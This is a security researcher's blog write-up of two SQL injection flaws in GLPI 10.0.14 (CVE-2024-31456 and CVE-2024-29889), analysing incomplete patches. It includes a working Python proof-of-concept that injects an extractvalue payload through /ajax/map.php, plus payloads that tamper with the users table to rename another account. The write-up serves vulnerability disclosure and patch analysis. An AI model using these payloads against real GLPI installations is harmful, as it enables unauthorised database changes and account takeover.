Exploiting CVE-2024-37148
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really interested in this solution, and decided to investigate further. As the version 10.0.13 and 10.0.14 were published, I took a close look at the patches, and analysed how efficient they were to tackle the reported vulnerabilities. I discovered that CVE-2024-27096, was insufficiently patched, and that an SQL injection was still possible (CVE-2024-31456). I reported it to the vendor, and as the subsequent release was published (10.0.15), it appeared that it patched another SQL injection (CVE-2024-29889).
This article then describes how I uncovered CVE-2024-31456 and how to exploit CVE-2024-29889, the one I missed.
As discussed in one of my previous articles, the SQLi referred to as CVE-2024-27096 was patched as follows, in the routine Search::manageParams
:
This routine was called from /ajax/search.php
, before calling Search::getDatas
:
$search_params = Search::manageParams($itemtype, $_REQUEST);
if (isset($search_params['browse']) && $search_params['browse'] == 1) {
$itemtype::showBrowseView($itemtype, $search_params, true);
} else {
$results = Search::getDatas($itemtype, $search_params);
$results['searchform_id'] = $_REQUEST['searchform_id'] ?? null;
Search::displayData($results);
}
This routine is as follows:
public static function getDatas($itemtype, $params, array $forcedisplay = [])
{
$data = self::prepareDatasForSearch($itemtype, $params, $forcedisplay);
self::constructSQL($data);
self::constructData($data);
return $data;
}
The idea was therefore to check if the routine Search::prepareDatasForSearch
could be called without passing through manageParams
beforehand. If so, and if user-controlled data were involved, it could be a way to bypass the patch.
It appeared that such situation exists, in the file /ajax/map.php
. The three routines prepareDatasForSearch
, constructSQL
and constructData
are called without calling manageParams
.
Code of /ajax/map.php
:
One can therefore exploit it in the same way as CVE-2024-27096:
import requests
import sys
if len(sys.argv) < 3:
print("Usage: %s <url> <cookie>" % sys.argv[0])
url = sys.argv[1]
cookie = sys.argv[2]
content = requests.get(url +"/front/preference.php", headers={"Cookie": cookie}).text
csrf = content.find("glpi:csrf_token")
csrf = content[csrf+26:csrf+90]
sqli_result = requests.post(url +"/ajax/map.php", headers = {"Cookie":cookie, "X-Glpi-Csrf-Token":csrf, "Content-Type":"application/x-www-form-urlencoded"}, data={"itemtype":"User", "params[sort][]":"1`,extractvalue(rand(),concat(CHAR(126),database())) -- -"}).text
print(sqli_result)
I reported this issue to the vendor and it was assigned the identifier CVE-2024-31456.
Description:
An authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data and take control of it.
Honestly, I analysed the saved searches features, but I miss this clever SQL injection. As it was published, I took a look at the patch, and tried to understand what was going wrong. The patch was as follows (partial):
I knew that an SQL injection was uncovered in a previous version, affecting the same feature (CVE-2023-43813), and I guessed it probably was due to an incomplete patch. As explained in the article Exploiting GLPI during a Red Team engagement, one could exploit CVE-2023-43813 by injecting the POST’ed parameter itemtype
that was insufficiently sanitised, with a payload like:
IVOIRE', savedsearches_pinned=CHAR(123,34,84,105,99,107,101,116,34,58,49,125) -- -;
They could break outside the original query and inject their own. However, in version 10.0.14, such attack does not work anymore.
To begin with, I added a few lines in the PHP code to log the SQL queries being executed, and triggered the faulty feature, in ajax/pin_savedsearches.php
.
A request containing the parameter itemtype=Ticket
was sent, because it was about a search related to the created tickets. The SQL query executed behind the curtain was as follows:
UPDATE `glpi_users` SET `savedsearches_pinned` = '{"Ticket":1}', `date_mod` = '2024-05-09 08:43:21' WHERE `id` = '3'
The JSON object saved as savedsearches_pinned
is created by the code at line 51 we saw earlier, by the routine exportArrayToDb
. Trying to set the parameter itemtype=Ticket'
(notice the quote) would not work, because Ticket'
could not resolve to a valid class name, making the application exit at line 45.
Since the only POST’ed parameter that was sent was itemtype
, it seemed logical that the injection point was somewhere else. Since the two values that were passed to User::update
were the ID of the user and $_SESSION['glpisavedsearches_pinned']
, I had the feeling that the latter was probably the culprit.
Here is the clean code of the file (I added comments):
include('../inc/includes.php');
header('Content-Type: application/json; charset=UTF-8');
Html::header_nocache();
Session::checkLoginUser();
//we need to have a valid class name for $_POST["itemtype"]
if (!is_string($_POST['itemtype']) || getItemForItemtype($_POST['itemtype']) === false) {
echo json_encode(['success' => false]);
exit();
}
//kind of "json_decode"
$all_pinned = importArrayFromDB($_SESSION['glpisavedsearches_pinned']);
//if the parsed JSON stream contains a key that is the POST'ed itemtype
$already_pinned = $all_pinned[$_POST['itemtype']] ?? 0;
// $all_pinned[$_POST['itemtype']] wil be either 0 or 1, so useless for us
$all_pinned[$_POST['itemtype']] = $already_pinned ? 0 : 1;
//$all_pinned as JSON stream is saved as $_SESSION['glpisavedsearches_pinned']
$_SESSION['glpisavedsearches_pinned'] = exportArrayToDB($all_pinned);
$user = new User();
$success = $user->update(
[
'id' => Session::getLoginUserID(), //the ID of the user, normally cannot be altered
'savedsearches_pinned' => $_SESSION['glpisavedsearches_pinned'], //the modified $_SESSION['glpisavedsearches_pinned']
]
);
echo json_encode(['success' => $success]);
The value of $_SESSION['glpisavedsearches_pinned']
toggles the state of a search (pinned or not / 1 or 0), and is supposed to contain a JSON object. Since there was an SQL injection, it seemed obvious to me that there was a way to manipulate $_SESSION['glpisavedsearches_pinned']
, that would be passed unsanitised to the routine User::update
. I then grep
‘ed through the source code, looking for the regex \$_SESSION\[.*=
. A bunch of results was returned, but sorting the results highlighted one line in src/User.php
:
This piece of code was called when a user updates their preferences. If the name of the preference belongs to the list $CFG_GLPI['user_pref_field']
, then it is stored in the $_SESSION
, by prepending its name with the string ‘glpi’. I then edited my preferences and captured the request:
The parameter savedsearches_pinned
was not set by default, but since the list $CFG_GLPI['user_pref_field']
is as follows (in inc/define.php
), one could add the parameter savedsearches_pinned
to hopefully write an arbitrary value in $_SESSION['glpisavedsearches_pinned']
:
In other words, it means that we could use the preferences editing functionality to write something arbitrary to $_SESSION['glpisavedsearches_pinned']
since the key savedsearches_pinned belongs to $CFG_GLPI['user_pref_field']
.
To make it work, one then first needs to update their preferences. To do so, simply edit them through the interface and send the request to the Burp’s Repeater. A CSRF token is in use, but it is not really problematic, because the error page would return a valid one. Therefore, a first faulty request should be sent to get a valid token, and the request should be resent with the expected value. Let’s send a first request with a POST’ed savedsearches_pinned
to see its impact on the SQL request.
Editing the preferences:
Then trigger the vulnerable code, performing the SQL query:
The logged SQL query was as follows:
UPDATE `glpi_users` SET `savedsearches_pinned` = '{"test'":42,"Ticket":1}', `date_mod` = '2024-05-09 16:02:05' WHERE `id` = '3'
One can notice that the single quote is not escaped, breaking the JSON string, and thus making the SQL query invalid. As a proof-of-concept, let’s modify the username of the user glpi, having the ID 2.
The query is as follows:
UPDATE `glpi_users` SET `savedsearches_pinned` = '{"test', `name`=char(0x70,0x77,0x6e) where `id`=2; -- ":42,"Ticket":1}', `date_mod` = '2024-05-09 16:12:16' WHERE `id` = '3'
and the users table is now updated (:
The version 10.0.14 addressed two SQL injections, that were due to incomplete patches for the vulnerabilities CVE-2024-27096 and CVE-2023-43813. The first one (CVE-2024-31456, the one I reported) was quite easy to exploit, only finding a path in the code the called the vulnerable function without passing through the patched routine. The second one (CVE-2024-29889, the one I missed) was trickier, leveraging a permissive preference editing feature to inject a value inside the $_SESSION
. The value was passed unsanitised enough to User::update
, making an authenticated attacker able to manipulate any record inside the glpi_users
table.
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...